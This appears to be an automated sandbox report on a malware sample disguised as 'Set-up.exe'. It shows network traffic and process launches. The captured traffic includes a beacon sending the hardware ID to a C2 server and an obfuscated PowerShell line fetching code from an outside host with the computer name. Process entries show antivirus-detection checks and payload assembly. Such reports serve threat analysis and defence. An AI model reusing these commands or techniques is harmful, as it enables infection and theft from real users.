2025-01-05 17:25:44 UTC	1092	OUT	Data Raw: 2d 2d 31 39 31 32 32 30 5a 59 30 43 4c 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 41 32 38 43 32 31 33 42 31 35 34 39 42 41 33 39 34 42 42 36 34 38 36 35 35 45 34 46 45 43 45 0d 0a 2d 2d 31 39 31 32 32 30 5a 59 30 43 4c 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 39 31 32 32 30 5a 59 30 43 4c 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 0d 0a 2d 2d 31 39 31 32 32 30 5a 59 30 43 4c 45 0d 0a 43 Data Ascii: --191220ZY0CLEContent-Disposition: form-data; name="hwid"BA28C213B1549BA394BB648655E4FECE--191220ZY0CLEContent-Disposition: form-data; name="pid"1--191220ZY0CLEContent-Disposition: form-data; name="lid"jMw1IE--bigJ--191220ZY0CLEC
2025-01-05 17:25:44 UTC	1126	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:25:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0bs6tsjb5squ5l2892knuktj98; expires=Thu, 01 May 2025 11:12:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Np6g5bB45khlDWJ7%2FS1Zz7Y02QipiaoWQGZ27iLVQWuANsKgHuJSotA8q7d7yw%2Ffq8IelHtaftt96JHuasokTDPobz7D5AkayjtKiBusahcoynBOi56aJ5T2r9eCTyLJCD4AF%2FTn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd52b57d8e40f9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1524&min_rtt=1521&rtt_var=576&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=2006&delivery_rate=1889967&cwnd=217&unsent_bytes=0&cid=481d73c9d1ec724f&ts=565&x=0"
2025-01-05 17:25:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:25:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:25:45 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 113 Host: carveforutune.click
2025-01-05 17:25:45 UTC	113	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 62 69 67 4a 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 26 68 77 69 64 3d 42 41 32 38 43 32 31 33 42 31 35 34 39 42 41 33 39 34 42 42 36 34 38 36 35 35 45 34 46 45 43 45 Data Ascii: act=get_message&ver=4.0&lid=jMw1IE--bigJ&j=aa77e78b6b0dd1b2226e7b799532ab3a&hwid=BA28C213B1549BA394BB648655E4FECE
2025-01-05 17:25:45 UTC	1126	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:25:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3qiihpu2khjrem1vtuq6lup1pv; expires=Thu, 01 May 2025 11:12:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V1kkcv3OtCU1Vwom68ET%2BgpUUx4jMbTwaOUK8kEOt2Ga6CVO22ntyfcvzluYaUJx6WWjqbkCNZnqDP%2BVDG3lU3gUQfGL6uH7jAYHZfZ61HBR%2BAMNMdYZBQPkqPs5LWs21LCHJquB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd52b5e5dfe5e6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2079&min_rtt=2069&rtt_var=797&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=1017&delivery_rate=1354988&cwnd=224&unsent_bytes=0&cid=df6f95e24fe0d812&ts=441&x=0"
2025-01-05 17:25:45 UTC	218	IN	Data Raw: 64 34 0d 0a 59 41 66 4e 50 2f 4f 4f 4c 50 73 2b 66 57 38 56 47 6b 62 44 31 5a 61 7a 53 50 4d 33 50 47 4c 4c 36 34 2b 70 43 39 38 70 70 65 38 37 66 4f 39 4b 30 62 51 4f 6b 30 6f 4a 48 32 59 67 47 75 79 4a 75 64 41 74 6c 45 49 53 45 61 4f 45 2f 2f 55 6b 35 78 79 53 32 31 49 78 2f 77 76 48 75 48 44 55 54 68 56 42 59 57 49 79 34 66 6d 30 31 54 7a 52 44 51 35 4f 36 59 36 74 6b 7a 71 69 42 64 37 4e 46 53 58 33 48 5a 76 36 57 49 74 4e 52 7a 4d 36 52 6d 6d 6f 75 66 2f 44 50 6f 5a 61 56 52 47 2b 67 71 48 61 59 37 42 5a 2b 63 41 4a 61 62 6c 67 6b 4f 4a 63 70 45 30 56 44 6a 74 75 50 72 66 33 75 70 45 75 68 78 55 47 55 75 66 4a 36 6f 73 78 37 31 54 34 0d 0a Data Ascii: d4YAfNP/OOLPs+fW8VGkbD1ZazSPM3PGLL64+pC98ppe87fO9K0bQOk0oJH2YgGuyJudAtlEISEaOE//Uk5xyS21Ix/wvHuHDUThVBYWIy4fm01TzRDQ5O6Y6tkzqiBd7NFSX3HZv6WItNRzM6Rmmouf/DPoZaVRG+gqHaY7BZ+cAJablgkOJcpE0VDjtuPrf3upEuhxUGUufJ6osx71T4
2025-01-05 17:25:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	185.161.251.21	443	7128	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:25:46 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2025-01-05 17:25:46 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Sun, 05 Jan 2025 17:25:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2025-01-05 17:25:46 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	104.21.37.128	443	7128	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:25:47 UTC	206	OUT	GET /int_clp_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipvumisui.shop
2025-01-05 17:25:47 UTC	905	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:25:47 GMT Content-Type: text/plain Content-Length: 8767044 Connection: close Accept-Ranges: bytes ETag: "51f99eddd33cc04fb0f55f873b76d907" Last-Modified: Sat, 28 Dec 2024 20:49:42 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YfYIfRaFWOR%2F%2BgW2j6F7sO8xnrAJ0EOeVDEyUjCUGYPFB%2FYkVEk%2FhlqnPL3gzVDHDyyz11UzjhjmDFLBT61OKBygEjayvxFdzBobgF4X0Fb5OBWScPbRPEgpRCIg7PEi6Mz%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd52b6b8cd2431a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2117&min_rtt=2072&rtt_var=809&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2867&recv_bytes=820&delivery_rate=1409266&cwnd=224&unsent_bytes=0&cid=8a400ba8749d9a77&ts=283&x=0"
2025-01-05 17:25:47 UTC	464	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2025-01-05 17:25:47 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 d4 52 0b 00 5c 02 00 00 00 60 0b 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 56 0a 00 00 10 00 00 00 58 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 64 1b 00 00 00 70 0a 00 00 1c 00 00 00 5c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 38 00 00 00 90 0a 00 00 3a 00 00 00 78 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 58 72 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 0f 00 00 00 50 0b 00 00 10 00 00 00 b2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 a4 01 00 00 00 60 0b Data Ascii: R\`.textVX `.itextdp\ `.data88:x@.bssXr.idataP@.didata`
2025-01-05 17:25:47 UTC	1369	IN	Data Raw: 13 40 00 01 07 48 52 45 53 55 4c 54 04 00 00 00 80 ff ff ff 7f 02 00 44 13 40 00 0e 05 54 47 55 49 44 10 00 00 00 00 00 00 00 00 04 00 00 00 e4 10 40 00 00 00 00 00 02 02 44 31 02 00 cc 10 40 00 04 00 00 00 02 02 44 32 02 00 cc 10 40 00 06 00 00 00 02 02 44 33 02 00 00 00 00 00 08 00 00 00 02 02 44 34 02 00 02 00 06 00 0b 40 76 40 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 0e 26 6f 70 5f 49 6e 65 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 09 28 9c 4a 00 05 45 6d 70 74 79 00 00 40 13 40 00 00 02 00 09 28 9c 4a 00 06 43 72 65 61 74 65 00 00 40 13 40 00 02 02 00 00 Data Ascii: @HRESULTD@TGUID@D1@D2@D3D4@v@&op_Equality@@@Left@@Right(J&op_Inequality@@@Left@@Right(JEmpty@@(JCreate@@
2025-01-05 17:25:47 UTC	1369	IN	Data Raw: 40 00 4a 00 fe ff 72 1f 40 00 4d 00 ff ff 00 00 07 54 4f 62 6a 65 63 74 26 00 b8 7d 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 e8 7d 40 00 04 46 72 65 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 44 69 73 70 6f 73 65 4f 66 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 3e 00 f4 7d 40 00 0c 49 6e 69 74 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 00 11 40 00 01 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 2f 00 94 7e 40 00 0f 43 6c 65 61 6e 75 70 49 6e 73 74 61 6e 63 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 Data Ascii: @Jr@MTObject&}@Create@Self$}@Free@Self)(JDisposeOf@Self>}@InitInstance@Self@Instance/~@CleanupInstance@Self)(J
2025-01-05 17:25:47 UTC	1369	IN	Data Raw: 12 40 00 01 00 01 01 02 00 02 00 5b 00 e8 80 40 00 11 53 61 66 65 43 61 6c 6c 45 78 63 65 70 74 69 6f 6e 03 00 28 13 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 08 9c 1f 40 00 01 00 0c 45 78 63 65 70 74 4f 62 6a 65 63 74 02 00 00 00 11 40 00 02 00 0a 45 78 63 65 70 74 41 64 64 72 02 00 02 00 31 00 08 81 40 00 11 41 66 74 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 0c 81 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 39 00 10 81 40 00 08 44 69 73 70 61 74 63 68 03 00 00 00 00 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 07 4d 65 73 73 61 67 65 02 00 Data Ascii: @[@SafeCallException(@@Self@ExceptObject@ExceptAddr1@AfterConstruction@Self1@BeforeDestruction@Self9@Dispatch@SelfMessage
2025-01-05 17:25:47 UTC	1369	IN	Data Raw: 66 02 00 02 9c 10 40 00 02 00 05 41 46 6c 61 67 02 00 02 b8 12 40 00 08 00 05 41 44 61 74 61 02 00 02 00 00 5c 23 40 00 07 0f 48 50 50 47 45 4e 41 74 74 72 69 62 75 74 65 b8 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 8c 23 40 00 14 08 50 4d 6f 6e 69 74 6f 72 8c 24 40 00 02 00 a0 23 40 00 14 17 54 4d 6f 6e 69 74 6f 72 2e 50 57 61 69 74 69 6e 67 54 68 72 65 61 64 c0 23 40 00 02 00 00 c4 23 40 00 0e 17 54 4d 6f 6e 69 74 6f 72 2e 54 57 61 69 74 69 6e 67 54 68 72 65 61 64 0c 00 00 00 00 00 00 00 00 03 00 00 00 9c 23 40 00 00 00 00 00 02 04 4e 65 78 74 02 00 e4 10 40 00 04 00 00 00 02 06 54 68 72 65 61 64 02 00 00 11 40 00 08 00 00 00 02 09 57 61 69 74 45 76 65 6e 74 02 00 02 00 00 00 00 00 00 2c 24 40 00 0e 12 54 4d 6f 6e 69 Data Ascii: f@AFlag@AData\#@HPPGENAttribute"@4 @System#@PMonitor$@#@TMonitor.PWaitingThread#@#@TMonitor.TWaitingThread#@Next@Thread@WaitEvent,$@TMoni
2025-01-05 17:25:47 UTC	1369	IN	Data Raw: 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 ec f1 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 2b 00 00 f2 40 00 0b 4e 65 77 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 14 29 40 00 07 11 54 49 6e 74 65 72 66 61 63 65 64 4f 62 6a 65 63 74 2c 28 40 00 9c 1f 40 00 00 00 06 53 79 73 74 65 6d 00 00 01 00 02 47 29 40 00 02 00 02 00 00 00 9c 10 40 00 d4 f1 40 00 00 00 00 00 01 00 00 00 00 00 00 80 00 00 00 80 ff ff 08 52 65 66 43 6f 75 6e 74 00 00 cc 83 44 24 04 fc e9 21 c9 00 00 83 44 24 04 fc e9 3f c9 00 00 83 44 24 04 fc e9 41 c9 00 00 cc Data Ascii: erConstruction)@Self1@BeforeDestruction)@Self+@NewInstance@Self)@TInterfacedObject,(@@SystemG)@@@RefCountD$!D$?D$A
2025-01-05 17:25:47 UTC	1369	IN	Data Raw: 08 00 00 00 02 08 56 42 6f 6f 6c 65 61 6e 02 00 00 11 40 00 08 00 00 00 02 08 56 55 6e 6b 6e 6f 77 6e 02 00 64 10 40 00 08 00 00 00 02 09 56 53 68 6f 72 74 49 6e 74 02 00 b4 10 40 00 08 00 00 00 02 05 56 42 79 74 65 02 00 cc 10 40 00 08 00 00 00 02 05 56 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 09 56 4c 6f 6e 67 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 07 56 55 49 6e 74 33 32 02 00 14 11 40 00 08 00 00 00 02 06 56 49 6e 74 36 34 02 00 34 11 40 00 08 00 00 00 02 07 56 55 49 6e 74 36 34 02 00 00 11 40 00 08 00 00 00 02 07 56 53 74 72 69 6e 67 02 00 00 11 40 00 08 00 00 00 02 04 56 41 6e 79 02 00 d4 2b 40 00 08 00 00 00 02 06 56 41 72 72 61 79 02 00 00 11 40 00 08 00 00 00 02 08 56 50 6f 69 6e 74 65 72 02 00 00 11 40 00 08 00 00 00 02 08 56 55 53 74 Data Ascii: VBoolean@VUnknownd@VShortInt@VByte@VWord@VLongWord@VUInt32@VInt644@VUInt64@VString@VAny+@VArray@VPointer@VUSt
2025-01-05 17:25:47 UTC	1369	IN	Data Raw: 00 08 00 00 00 24 17 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 43 00 9b 35 40 00 44 00 f4 ff c1 35 40 00 41 00 f4 ff e6 35 40 00 41 00 f4 ff 0c 36 40 00 41 00 f4 ff 34 36 40 00 41 00 f4 ff 62 36 40 00 41 00 f4 ff 90 36 40 00 43 00 f4 ff c6 36 40 00 43 00 f4 ff 11 37 40 00 43 00 f4 ff 45 37 40 00 43 00 f4 ff a7 37 40 00 43 00 f4 ff 09 38 40 00 43 00 f4 ff 6b 38 40 00 43 00 f4 ff cd 38 40 00 43 00 f4 ff 2f 39 40 00 43 00 f4 ff 91 39 40 00 43 00 f4 ff f3 39 40 00 43 00 f4 ff 55 3a 40 00 43 00 f4 ff b7 3a 40 00 43 00 f4 ff 19 3b 40 00 43 00 f4 ff 7b 3b 40 00 43 00 f4 ff dd 3b 40 00 43 00 f4 ff 3f 3c 40 00 43 00 f4 ff a1 3c 40 00 43 00 f4 ff 03 3d 40 00 43 00 Data Ascii: $@~@@@@@@@@}@}@}@C5@D5@A5@A6@A46@Ab6@A6@C6@C7@CE7@C7@C8@Ck8@C8@C/9@C9@C9@CU:@C:@C;@C{;@C;@C?<@C<@C=@C
2025-01-05 17:25:47 UTC	1369	IN	Data Raw: 02 00 01 04 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 3c 4c 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 3c 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 Data Ascii: L@Dest@StartIndex@Countb(JCopySelf<L@Src@StartIndex2@Dest@Countb(JCopySelf2@Src<L@Dest@StartIndex@Countb(J

Target ID:	0
Start time:	12:25:00
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\'Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\'Set-up.exe"
Imagebase:	0x400000
File size:	73'421'732 bytes
MD5 hash:	718CD3F9C7AF9F5D66BE359A52D591FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:25:01
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Up Up.cmd & Up.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:25:01
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:25:04
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x7f0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:25:04
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0x20000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:25:05
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x7f0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:25:05
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x20000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:25:06
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 271185
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:25:06
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Meetup
Imagebase:	0x7ff72bec0000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:25:06
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "BURST" Lazy
Imagebase:	0x20000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:25:06
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b 271185\Auckland.com + Mono + Waves + Offered + Hotel + Statement + Bookstore + Oh + Alerts + Divisions + Az 271185\Auckland.com
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:25:06
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
